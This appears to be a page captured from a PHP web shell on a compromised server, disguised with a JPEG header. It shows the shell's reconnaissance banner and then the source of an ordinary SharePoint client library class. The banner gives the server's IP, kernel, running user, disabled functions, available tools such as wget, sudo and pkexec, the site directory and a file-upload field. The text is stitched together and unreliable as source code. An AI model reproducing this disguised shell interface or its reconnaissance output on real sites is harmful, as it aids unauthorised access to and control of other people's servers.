????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.22.242.110 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/sharepoint/vendor/vgrem/php-spo/src/Runtime/ |
Upload File : |
<?php namespace Office365\Runtime; use Office365\Runtime\Http\RequestOptions; use Office365\Runtime\OData\ODataQueryOptions; /** * Represents OData base entity */ class ClientObject { /** * @var string */ protected $typeName; /** * @var ClientRuntimeContext */ protected $context; /** * @var ResourcePath */ protected $resourcePath; /** * @var array */ private $properties; /** * @var array */ private $changes = array(); /** * @var ClientObjectCollection */ protected $parentCollection; /** * @var ODataQueryOptions */ protected $queryOptions; /** * ClientObject constructor. * @param ClientRuntimeContext $ctx * @param ResourcePath|null $resourcePath * @param ODataQueryOptions|null $queryOptions */ public function __construct(ClientRuntimeContext $ctx, ResourcePath $resourcePath = null,ODataQueryOptions $queryOptions = null) { $this->context = $ctx; $this->resourcePath = $resourcePath; $this->properties = array(); $this->queryOptions = $queryOptions; if (!isset($this->queryOptions)) $this->queryOptions = new ODataQueryOptions(); else $this->queryOptions = $queryOptions; } /** * @return $this */ public function get(){ $this->getContext()->load($this); return $this; } /** * @return RequestOptions */ public function buildRequest(){ return $this->getContext()->buildRequest(); } /** * @return $this */ public function executeQuery(){ $this->getContext()->executeQuery(); return $this; } /** * @return ODataQueryOptions */ public function getQueryOptions() { return $this->queryOptions; } /** * @return ClientObjectCollection */ public function getParentCollection() { return $this->parentCollection; } /** * @return null */ protected function getServerTypeId() { return null; } /** * @return ClientRuntimeContext */ public function getContext() { return $this->context; } /** * Removes object from parent collection */ protected function removeFromParentCollection() { if ($this->parentCollection === null) { return; } $this->parentCollection->removeChild($this); } /** * Resolve the resource path * @return ResourcePath */ public function getResourcePath() { return $this->resourcePath; } /** * Resolve the resource path * @return string */ public function getResourceUrl() { $url = $this->getContext()->getServiceRootUrl() . $this->getResourcePath()->toUrl(); if (!$this->getQueryOptions()->isEmpty()) { $url .= '?' . $this->getQueryOptions()->toUrl(); } return $url; } /** * Directs that related records should be retrieved in the record or collection being retrieved. * @param $value * @return ClientObject $this */ public function expand($value) { $this->queryOptions->Expand = $value; return $this; } /** * Specifies a subset of properties to return. * @param $value * @return ClientObject $this */ public function select($value) { $this->queryOptions->Select = $value; return $this; } /** * Gets entity type name * @return string */ public function getServerTypeName() { if (isset($this->typeName)) { return $this->typeName; } $classInfo = explode("\\", get_class($this)); return end($classInfo); } /** * @return array */ function toJson() { return $this->changes; } /** * Determine whether client object property has been loaded * @param $name * @return bool */ public function isPropertyAvailable($name) { return isset($this->properties[$name]); } /** * Determine whether client object has been retrieved from the server * @return bool */ public function getServerObjectIsNull(){ return is_null($this->properties); } /** * A preferred way of getting the client object property * @param string $name * @return mixed|null */ public function getProperty($name) { return $this->{$name}; } /** * A preferred way of setting the client object property * @param string $name * @param mixed $value * @param bool $persistChanges * @return $this */ public function setProperty($name, $value, $persistChanges = true) { if($persistChanges) $this->changes[$name] = $value; $this->{$name} = $value; //update resource path if ($name === "Id") { if (is_null($this->getResourcePath())) { if (is_int($value)) { $entityKey = "({$value})"; } else { $entityKey = "(guid'{$value}')"; } $segment = $this->parentCollection->getResourcePath()->getSegment() . $entityKey; $this->resourcePath = new ResourcePath($segment,$this->parentCollection->getResourcePath()->getParent()); } } return $this; } /** * @param $name * @param $value */ public function __set($name, $value) { if(is_array($value)) { /*Navigation property? */ $propType = $this->getPropertyType($name); if($propType instanceof ClientObject || $propType instanceof ClientValue) { foreach ($value as $k=>$v){ $propType->setProperty($k,$v,False); } $this->properties[$name] = $propType; } else $this->properties[$name] = $value; } else $this->properties[$name] = $value; } /** * @param string $name * @return mixed|null */ public function getPropertyType($name){ $getterName = "get$name"; if(method_exists($this,$getterName)) { return $this->{$getterName}(); } return $this->getProperty($name); } /** * @param $name * @return mixed|null */ public function __get($name) { if (array_key_exists($name, $this->properties)) { return $this->properties[$name]; } return null; } /** * @param $name * @return bool */ public function __isset($name) { return isset($this->properties[$name]); } /** * Ensures property is loaded * @param string $propName * @param callable $loadedCallback */ public function ensureProperty($propName, $loadedCallback=null) { $this->ensureProperties(array($propName), $loadedCallback); } /** * Ensure properties are loaded * @param array $propNames * @param callable $loadedCallback */ public function ensureProperties($propNames, $loadedCallback=null){ $result = array_filter($propNames,function ($name){ return $this->isPropertyAvailable($name) === false; }); if(count($result) === 0) { if(is_callable($loadedCallback)) call_user_func($loadedCallback, $this); } else { $this->getContext()->load($this, $propNames); $query = $this->getContext()->getCurrentQuery(); $this->getContext()->afterExecuteQuery(function ($curQuery) use ($query, $loadedCallback){ if($curQuery->getId() == $query->getId()) if(is_callable($loadedCallback)) call_user_func($loadedCallback, $this); }); } } }